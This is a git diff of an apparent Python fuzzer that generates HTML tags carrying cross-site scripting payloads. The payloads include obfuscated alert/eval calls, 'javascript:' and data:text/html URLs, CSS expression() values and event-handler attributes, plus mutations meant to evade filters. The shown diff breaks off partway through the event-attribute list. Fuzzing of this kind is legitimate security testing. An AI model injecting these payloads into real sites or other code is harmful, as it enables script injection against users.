merge dl-dev in neg-dev #2
							
								
								
									
										90
									
								
								language.py
									
									
									
									
									
								
							
							
						
						
									
										90
									
								
								language.py
									
									
									
									
									
								
							| @ -1,4 +1,9 @@ | |||||||
| from language_utils import gen_boolean, gen_color, gen_date, gen_email, gen_javascript, gen_number, gen_style, gen_text, gen_url | from language_utils import gen_boolean, gen_color, gen_date, gen_email, \ | ||||||
|  |     gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \ | ||||||
|  |     gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \ | ||||||
|  |     gen_duration | ||||||
|  | from utils import rndstr, choice | ||||||
|  | from mutations import Mutations | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| class HTMLTag: | class HTMLTag: | ||||||
| @ -7,22 +12,61 @@ class HTMLTag: | |||||||
|         self.self_closing = self_closing |         self.self_closing = self_closing | ||||||
|         self.attributes = [] |         self.attributes = [] | ||||||
|         self.children = [] |         self.children = [] | ||||||
|  |         self.id = rndstr(8) | ||||||
|  |         self.nameattr = rndstr(10) | ||||||
|  |         self.rndchrpos = {} | ||||||
|  |         self.mutator: Mutations = None | ||||||
|  |         self.content = rndstr(10) | ||||||
|  |         self.ids = [] | ||||||
|  |         self.names = [] | ||||||
|  | 
 | ||||||
|  |     def set_mutator(self, mutator): | ||||||
|  |         self.mutator = mutator | ||||||
|  | 
 | ||||||
|  |     def add_attribute(self, attr): | ||||||
|  |         attr.root = self | ||||||
|  |         self.attributes.append(attr) | ||||||
| 
 | 
 | ||||||
|     def __str__(self) -> str: |     def __str__(self) -> str: | ||||||
|  |         # self mutate | ||||||
|  |         if self.mutator: | ||||||
|  |             # mutate attributes | ||||||
|  |             for attr in self.attributes: | ||||||
|  |                 attr.__str__() | ||||||
|  |                 if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag: | ||||||
|  |                     cases = [ | ||||||
|  |                         lambda x: self.mutator.mutate_attr(x), | ||||||
|  |                         lambda x: self.mutator.mutate_value(x), | ||||||
|  |                     ] | ||||||
|  |                     choice(cases)(attr) | ||||||
|  |                 elif attr.attr == AttrType.ATTR_EVENT: | ||||||
|  |                     self.mutator.mutate_js(attr.value) | ||||||
|  |             self.mutator.mutate_tag(tag=self) | ||||||
|  | 
 | ||||||
|         tag = "" |         tag = "" | ||||||
|         if self.self_closing: |         if self.self_closing: | ||||||
|             tag = f"<{self.name} " |             tag = f"<{self.name}" | ||||||
|  |             tag += f" name=\"{self.nameattr}\" " | ||||||
|  |             tag += f" id=\"{self.id}\" " | ||||||
|             for attr in self.attributes: |             for attr in self.attributes: | ||||||
|                 tag += f"{attr} " |                 tag += f"{attr} " | ||||||
|             tag += "/>" |             tag += "/>" | ||||||
|         else: |         else: | ||||||
|             tag = f"<{self.name}" |             tag = f"<{self.name}" | ||||||
|  |             tag += f" name=\"{self.nameattr}\" " | ||||||
|  |             tag += f" id=\"{self.id}\" " | ||||||
|             for attr in self.attributes: |             for attr in self.attributes: | ||||||
|                 tag += f"{attr} " |                 tag += f"{attr} " | ||||||
|             tag += ">" |             tag += ">" | ||||||
|  |             if len(self.children) == 0: | ||||||
|  |                 tag += f"{self.content}" | ||||||
|             for child in self.children: |             for child in self.children: | ||||||
|                 tag += f"{child}" |                 tag += f"{child}" | ||||||
|             tag += f"</{self.name}>" |             tag += f"</{self.name}>" | ||||||
|  | 
 | ||||||
|  |         for pos in self.rndchrpos: | ||||||
|  |             tag = tag[:pos] + self.rndchrpos[pos] + tag[pos:] | ||||||
|  | 
 | ||||||
|         return tag |         return tag | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| @ -31,11 +75,19 @@ class HTMLTagAttributeType: | |||||||
|     TypeBoolean = 1 |     TypeBoolean = 1 | ||||||
|     TypeNumber = 2 |     TypeNumber = 2 | ||||||
|     TypeColor = 3 |     TypeColor = 3 | ||||||
|     TypeJavascript = 4 |     TypeJS = 4 | ||||||
|     TypeStlye = 5 |     TypeStlye = 5 | ||||||
|     TypeURL = 6 |     TypeURL = 6 | ||||||
|     TypeEmail = 7 |     TypeEmail = 7 | ||||||
|     TypeDate = 8 |     TypeDate = 8 | ||||||
|  |     TypeTarget = 9 | ||||||
|  |     TypeName = 10 | ||||||
|  |     TypeFlag = 11 | ||||||
|  |     TypeDrop = 12 | ||||||
|  |     TypeDir = 13 | ||||||
|  |     TypeWindowTarget = 14 | ||||||
|  |     TypeAccessKey = 15 | ||||||
|  |     TypeDuration = 16 | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| Generators = { | Generators = { | ||||||
| @ -43,21 +95,47 @@ Generators = { | |||||||
|     HTMLTagAttributeType.TypeBoolean: gen_boolean, |     HTMLTagAttributeType.TypeBoolean: gen_boolean, | ||||||
|     HTMLTagAttributeType.TypeNumber: gen_number, |     HTMLTagAttributeType.TypeNumber: gen_number, | ||||||
|     HTMLTagAttributeType.TypeColor: gen_color, |     HTMLTagAttributeType.TypeColor: gen_color, | ||||||
|     HTMLTagAttributeType.TypeJavascript: gen_javascript, |     HTMLTagAttributeType.TypeJS: gen_javascript, | ||||||
|     HTMLTagAttributeType.TypeStlye: gen_style, |     HTMLTagAttributeType.TypeStlye: gen_style, | ||||||
|     HTMLTagAttributeType.TypeURL: gen_url, |     HTMLTagAttributeType.TypeURL: gen_url, | ||||||
|     HTMLTagAttributeType.TypeEmail: gen_email, |     HTMLTagAttributeType.TypeEmail: gen_email, | ||||||
|     HTMLTagAttributeType.TypeDate: gen_date, |     HTMLTagAttributeType.TypeDate: gen_date, | ||||||
|  |     HTMLTagAttributeType.TypeTarget: gen_target, | ||||||
|  |     HTMLTagAttributeType.TypeName: gen_name, | ||||||
|  |     HTMLTagAttributeType.TypeFlag: gen_flag, | ||||||
|  |     HTMLTagAttributeType.TypeDrop: gen_drop, | ||||||
|  |     HTMLTagAttributeType.TypeDir:  gen_dir, | ||||||
|  |     HTMLTagAttributeType.TypeWindowTarget: gen_wtarget, | ||||||
|  |     HTMLTagAttributeType.TypeAccessKey: gen_access_key, | ||||||
|  |     HTMLTagAttributeType.TypeDuration: gen_duration, | ||||||
| } | } | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
|  | class AttrType: | ||||||
|  |     ATTR_NONE = -1 | ||||||
|  |     ATTR_GLOBAL = 0 | ||||||
|  |     ATTR_EVENT = 1 | ||||||
|  |     ATTR_TAG_SPECIFIC = 2 | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
| class HTMLAttribute: | class HTMLAttribute: | ||||||
|     def __init__(self, name, value_type): |     def __init__(self, name, value_type, glob=True, root=None): | ||||||
|  |         self.root = root | ||||||
|         self.name = name |         self.name = name | ||||||
|         self.kind = value_type |         self.kind = value_type | ||||||
|         self.value = Generators[value_type]() |         if self.kind == HTMLTagAttributeType.TypeJS: | ||||||
|  |             self.attr = AttrType.ATTR_EVENT | ||||||
|  |         else: | ||||||
|  |             if glob: | ||||||
|  |                 self.attr = AttrType.ATTR_GLOBAL | ||||||
|  |             else: | ||||||
|  |                 self.attr = AttrType.ATTR_TAG_SPECIFIC | ||||||
| 
 | 
 | ||||||
|     def __str__(self) -> str: |     def __str__(self) -> str: | ||||||
|  |         if self.kind == HTMLTagAttributeType.TypeTarget or self.kind == HTMLTagAttributeType.TypeName: | ||||||
|  |             self.value = Generators[self.kind](self.root) | ||||||
|  |         else: | ||||||
|  |             self.value = Generators[self.kind]() | ||||||
|         if not self.value: |         if not self.value: | ||||||
|             return self.name |             return self.name | ||||||
|         else: |         else: | ||||||
|  | |||||||
| @ -1,52 +1,35 @@ | |||||||
| from random import randint | from utils import choice, rndstr | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_text(): | def gen_text(): | ||||||
|     cases = { |     return rndstr(8) | ||||||
|         0: lambda: 'alert(0)', |  | ||||||
|         1: lambda: 'prompt\x600\x60', |  | ||||||
|         2: lambda: '"confirm\x600\x60"', |  | ||||||
|         3: lambda: 'window["alert"](0)', |  | ||||||
|         4: lambda: 'window["prompt"](0)', |  | ||||||
|         5: lambda: 'window["confirm"](0)', |  | ||||||
|         6: lambda: '"alert\x600\x60"', |  | ||||||
|         7: lambda: '"prompt\x600\x60"', |  | ||||||
|         8: lambda: '"alert(1)"', |  | ||||||
|     } |  | ||||||
| 
 |  | ||||||
|     return cases[randint(0, 8)]() |  | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_boolean(): | def gen_boolean(): | ||||||
|     cases = { |     cases = { | ||||||
|         0: lambda: 'true', |         0: lambda: 'yes', | ||||||
|         1: lambda: 'false', |         1: lambda: 'no', | ||||||
|         2: lambda: '1', |         2: lambda: 'true', | ||||||
|         3: lambda: '0', |         3: lambda: 'false', | ||||||
|         4: lambda: 'null', |         4: lambda: 'null', | ||||||
|         5: lambda: 'undefined', |         5: lambda: 'undefined', | ||||||
|         6: lambda: '""', |         6: lambda: '', | ||||||
|         7: lambda: '[]', |         7: lambda: '0', | ||||||
|         8: lambda: '{}', |         8: lambda: '1', | ||||||
|     } |     } | ||||||
| 
 | 
 | ||||||
|     return cases[randint(0, 8)]() |     return choice(cases)() | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_number(): | def gen_number(): | ||||||
|     cases = { |     cases = { | ||||||
|         0: lambda: '0', |         0: lambda: '0', | ||||||
|         1: lambda: '1', |         1: lambda: '1', | ||||||
|         2: lambda: '0.1', |         2: lambda: '2', | ||||||
|         3: lambda: '1.1', |         3: lambda: '3', | ||||||
|         4: lambda: '0x1', |  | ||||||
|         5: lambda: '0b1', |  | ||||||
|         6: lambda: '0o1', |  | ||||||
|         7: lambda: '1e1', |  | ||||||
|         8: lambda: '1e-1', |  | ||||||
|     } |     } | ||||||
| 
 | 
 | ||||||
|     return cases[randint(0, 8)]() |     return choice(cases)() | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_color(): | def gen_color(): | ||||||
| @ -62,26 +45,28 @@ def gen_color(): | |||||||
|         8: lambda: '#c0c0c0', |         8: lambda: '#c0c0c0', | ||||||
|     } |     } | ||||||
| 
 | 
 | ||||||
|     return cases[randint(0, 8)]() |     return choice(cases)() | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_javascript(): | def gen_javascript(): | ||||||
|     cases = { |     cases = { | ||||||
|         0: lambda: 'alert(0)', |         0: lambda: 'alert(0)', | ||||||
|         1: lambda: 'prompt\x600\x60', |         1: lambda: 'prompt`0`', | ||||||
|         2: lambda: '"confirm\x600\x60"', |         2: lambda: 'confirm`0`', | ||||||
|         3: lambda: 'window["alert"](0)', |         3: lambda: "window['alert'](0)", | ||||||
|         4: lambda: 'window["prompt"](0)', |         4: lambda: "window['prompt'](0)", | ||||||
|         5: lambda: 'window["confirm"](0)', |         5: lambda: "window['confirm'](0)", | ||||||
|         6: lambda: '"alert\x600\x60"', |         6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`', | ||||||
|         7: lambda: '"prompt\x600\x60"', |         7: lambda: 'Function(`a${`lert\`1\``}`).call``', | ||||||
|         8: lambda: '"alert(1)"', |         8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//", | ||||||
|         9: lambda: 'console.log(alert(1))//', |         9: lambda: "eval.call`${'alert\x2823\x29'}`", | ||||||
|         10: lambda: 'console.log(alert(1))/*', |         10: lambda: '[].sort.call`${alert}23`', | ||||||
|         11: lambda: '{1:alert(1)}', |         11: lambda: '{1:alert(1)}', | ||||||
|  |         12: lambda: '(()=>{alert`1`})()', | ||||||
|  |         13: lambda: 'x=alert;x(1);', | ||||||
|     } |     } | ||||||
| 
 | 
 | ||||||
|     return cases[randint(0, 11)]() |     return choice(cases)() | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_style(): | def gen_style(): | ||||||
| @ -90,9 +75,11 @@ def gen_style(): | |||||||
|         0: lambda: 'background-image:url("javascript:alert(1)")', |         0: lambda: 'background-image:url("javascript:alert(1)")', | ||||||
|         1: lambda: 'expression(alert(1))', |         1: lambda: 'expression(alert(1))', | ||||||
|         2: lambda: 'expression\x600\x60', |         2: lambda: 'expression\x600\x60', | ||||||
|  |         3: lambda: 'animation-name:x;animation-duration:0s;', | ||||||
|  |         4: lambda: '@keyframes x{}' | ||||||
|     } |     } | ||||||
| 
 | 
 | ||||||
|     return cases[randint(0, 2)]() |     return choice(cases)() | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_url(): | def gen_url(): | ||||||
| @ -104,7 +91,7 @@ def gen_url(): | |||||||
|         3: lambda: 'data:text/html,<script>alert\x600\x60</script>', |         3: lambda: 'data:text/html,<script>alert\x600\x60</script>', | ||||||
|     } |     } | ||||||
| 
 | 
 | ||||||
|     return cases[randint(0, 3)]() |     return choice(cases)() | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_email(): | def gen_email(): | ||||||
| @ -115,8 +102,44 @@ def gen_email(): | |||||||
|         2: lambda: '@javascript:alert\x600\x60', |         2: lambda: '@javascript:alert\x600\x60', | ||||||
|     } |     } | ||||||
| 
 | 
 | ||||||
|     return cases[randint(0, 3)]() |     return choice(cases)() | ||||||
| 
 | 
 | ||||||
| 
 | 
 | ||||||
| def gen_date(): | def gen_date(): | ||||||
|     return '' |     return '2020-01-01' | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def gen_target(tag): | ||||||
|  |     if tag is None: | ||||||
|  |         return "" | ||||||
|  |     return choice(tag.ids) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def gen_name(tag): | ||||||
|  |     if tag is None: | ||||||
|  |         return "" | ||||||
|  |     return choice(tag.names) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def gen_flag(): | ||||||
|  |     return None | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def gen_drop(): | ||||||
|  |     return choice(["copy", "move", "link"]) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def gen_dir(): | ||||||
|  |     return choice(["ltr", "rtl", "auto"]) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def gen_wtarget(): | ||||||
|  |     return choice(["_self", "_blank", "_parent", "_top"]) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def gen_access_key(): | ||||||
|  |     return 'X' | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def gen_duration(): | ||||||
|  |     return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"]) | ||||||
|  | |||||||
							
								
								
									
										109
									
								
								mutations.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										109
									
								
								mutations.py
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,109 @@ | |||||||
|  | from utils import choice, rndunicode, choice_percent | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | class Mutations: | ||||||
|  |     def __init__(self, strongness=0): | ||||||
|  |         self.strongness = strongness | ||||||
|  | 
 | ||||||
|  |     def mutate_attr(self, attr): | ||||||
|  |         cases = { | ||||||
|  |             70: lambda x: x, | ||||||
|  |             10: self.mutate_attr_newline, | ||||||
|  |             10: self.mutate_attr_unicode, | ||||||
|  |             10: self.mutate_attr_unicode_rnd_pos, | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         return choice_percent(cases)(attr) | ||||||
|  | 
 | ||||||
|  |     def mutate_value(self, attr): | ||||||
|  |         cases = { | ||||||
|  |             70: lambda x: x, | ||||||
|  |             20: self.mutate_value_newline, | ||||||
|  |             10: self.mutate_value_unicode, | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         return choice_percent(cases)(attr) | ||||||
|  | 
 | ||||||
|  |     def mutate_tag(self, tag): | ||||||
|  |         cases = { | ||||||
|  |             95: lambda x: x, | ||||||
|  |             5: self.mutate_tag_insert_random_pos, | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         return choice_percent(cases)(tag) | ||||||
|  | 
 | ||||||
|  |     def mutate_js(self, js: str): | ||||||
|  |         cases = { | ||||||
|  |             95: lambda x: x, | ||||||
|  |             5: self.mutate_js_insert_random_pos, | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         return choice_percent(cases)(js) | ||||||
|  | 
 | ||||||
|  |     @staticmethod | ||||||
|  |     def mutate_attr_newline(attr): | ||||||
|  |         attr.name = f"{attr.name}\n" | ||||||
|  |         return attr | ||||||
|  | 
 | ||||||
|  |     @staticmethod | ||||||
|  |     def mutate_attr_unicode(attr): | ||||||
|  |         attr.name = f"{attr.name}{rndunicode()}" | ||||||
|  |         return attr | ||||||
|  | 
 | ||||||
|  |     @staticmethod | ||||||
|  |     def mutate_attr_unicode_rnd_pos(attr): | ||||||
|  |         pos = choice(range(len(attr.name))) | ||||||
|  |         attr.name = f"{attr.name[:pos]}{rndunicode()}{attr.name[pos:]}" | ||||||
|  |         return attr | ||||||
|  | 
 | ||||||
|  |     @staticmethod | ||||||
|  |     def mutate_value_newline(attr): | ||||||
|  |         # find a random position in the value | ||||||
|  |         # and insert a newline | ||||||
|  |         if (attr.value is None): | ||||||
|  |             print("attr.value is None") | ||||||
|  |             print(attr) | ||||||
|  |             exit(0) | ||||||
|  |         pos = choice(range(len(attr.value))) | ||||||
|  |         attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}" | ||||||
|  |         return attr | ||||||
|  | 
 | ||||||
|  |     @staticmethod | ||||||
|  |     def mutate_value_unicode(attr): | ||||||
|  |         pos = choice(range(len(attr.value))) | ||||||
|  |         attr.value = f"{attr.value[:pos]}{rndunicode()}{attr.value[pos:]}" | ||||||
|  |         return attr | ||||||
|  | 
 | ||||||
|  |     @staticmethod | ||||||
|  |     def mutate_tag_insert_random_pos(tag): | ||||||
|  |         pos = choice(range(0, len(str(tag)))) | ||||||
|  | 
 | ||||||
|  |         chars = { | ||||||
|  |             50: lambda: "\n", | ||||||
|  |             20: lambda: rndunicode(), | ||||||
|  |             20: lambda: choice([" ", "\t"]), | ||||||
|  |             10: lambda: choice(["\\", "'", "/", '"']), | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         nmutations = choice(range(1, 4)) | ||||||
|  | 
 | ||||||
|  |         for _ in range(nmutations): | ||||||
|  |             mut = choice_percent(chars) | ||||||
|  |             tag.rndchrpos[pos] = mut() | ||||||
|  | 
 | ||||||
|  |         return tag | ||||||
|  | 
 | ||||||
|  |     @staticmethod | ||||||
|  |     def mutate_js_insert_random_pos(js: str): | ||||||
|  |         pos = choice(range(len(js))) | ||||||
|  |         chars = { | ||||||
|  |             70: lambda: "\n", | ||||||
|  |             20: lambda: choice([" ", "\t"]), | ||||||
|  |             10: lambda: choice(["\\", "'", "/", '"']), | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         nmutations = choice(range(1, 4)) | ||||||
|  | 
 | ||||||
|  |         for _ in range(nmutations): | ||||||
|  |             js = f"{js[:pos]}{choice_percent(chars)()}{js[pos:]}" | ||||||
|  |         return js | ||||||
							
								
								
									
										961
									
								
								tags.py
									
									
									
									
									
								
							
							
						
						
									
										961
									
								
								tags.py
									
									
									
									
									
								
							| @ -3,6 +3,7 @@ from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType | |||||||
| 
 | 
 | ||||||
| Tags = [ | Tags = [ | ||||||
|     HTMLTag('a', self_closing=False), |     HTMLTag('a', self_closing=False), | ||||||
|  |     HTMLTag('animate', self_closing=True), | ||||||
|     HTMLTag('abbr', self_closing=False), |     HTMLTag('abbr', self_closing=False), | ||||||
|     HTMLTag('acronym', self_closing=False), |     HTMLTag('acronym', self_closing=False), | ||||||
|     HTMLTag('address', self_closing=False), |     HTMLTag('address', self_closing=False), | ||||||
| @ -19,7 +20,6 @@ Tags = [ | |||||||
|     HTMLTag('big', self_closing=False), |     HTMLTag('big', self_closing=False), | ||||||
|     HTMLTag('blockquote', self_closing=False), |     HTMLTag('blockquote', self_closing=False), | ||||||
|     HTMLTag('body', self_closing=False), |     HTMLTag('body', self_closing=False), | ||||||
|     HTMLTag('br', self_closing=True), |  | ||||||
|     HTMLTag('button', self_closing=False), |     HTMLTag('button', self_closing=False), | ||||||
|     HTMLTag('canvas', self_closing=False), |     HTMLTag('canvas', self_closing=False), | ||||||
|     HTMLTag('caption', self_closing=False), |     HTMLTag('caption', self_closing=False), | ||||||
| @ -88,13 +88,9 @@ Tags = [ | |||||||
|     HTMLTag('pre', self_closing=False), |     HTMLTag('pre', self_closing=False), | ||||||
|     HTMLTag('progress', self_closing=False), |     HTMLTag('progress', self_closing=False), | ||||||
|     HTMLTag('q', self_closing=False), |     HTMLTag('q', self_closing=False), | ||||||
|     HTMLTag('rp', self_closing=False), |  | ||||||
|     HTMLTag('rt', self_closing=False), |  | ||||||
|     HTMLTag('ruby', self_closing=False), |  | ||||||
|     HTMLTag('s', self_closing=False), |     HTMLTag('s', self_closing=False), | ||||||
|     HTMLTag('samp', self_closing=False), |     HTMLTag('samp', self_closing=False), | ||||||
|     HTMLTag('script', self_closing=False), |     HTMLTag('script', self_closing=False), | ||||||
|     HTMLTag('section', self_closing=False), |  | ||||||
|     HTMLTag('select', self_closing=False), |     HTMLTag('select', self_closing=False), | ||||||
|     HTMLTag('small', self_closing=False), |     HTMLTag('small', self_closing=False), | ||||||
|     HTMLTag('source', self_closing=True), |     HTMLTag('source', self_closing=True), | ||||||
| @ -103,7 +99,6 @@ Tags = [ | |||||||
|     HTMLTag('strong', self_closing=False), |     HTMLTag('strong', self_closing=False), | ||||||
|     HTMLTag('style', self_closing=False), |     HTMLTag('style', self_closing=False), | ||||||
|     HTMLTag('sub', self_closing=False), |     HTMLTag('sub', self_closing=False), | ||||||
|     HTMLTag('summary', self_closing=False), |  | ||||||
|     HTMLTag('sup', self_closing=False), |     HTMLTag('sup', self_closing=False), | ||||||
|     HTMLTag('svg', self_closing=False), |     HTMLTag('svg', self_closing=False), | ||||||
|     HTMLTag('table', self_closing=False), |     HTMLTag('table', self_closing=False), | ||||||
| @ -127,122 +122,840 @@ Tags = [ | |||||||
|     HTMLTag('xmp', self_closing=False), |     HTMLTag('xmp', self_closing=False), | ||||||
| ] | ] | ||||||
| 
 | 
 | ||||||
| Attributes = [ | EventsAttributes = [ | ||||||
|     # events |     HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onbeforescriptexecute', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbeforescriptexecute', |     HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJS), | ||||||
|                   HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onblur', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onblur', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onchange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onclick', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onchange', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onclose', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onclick', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onclose', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('oncut', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('oncut', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onend', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onended', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onend', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onerror', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onended', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onerror', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('oninput', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('oninput', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJS), | ||||||
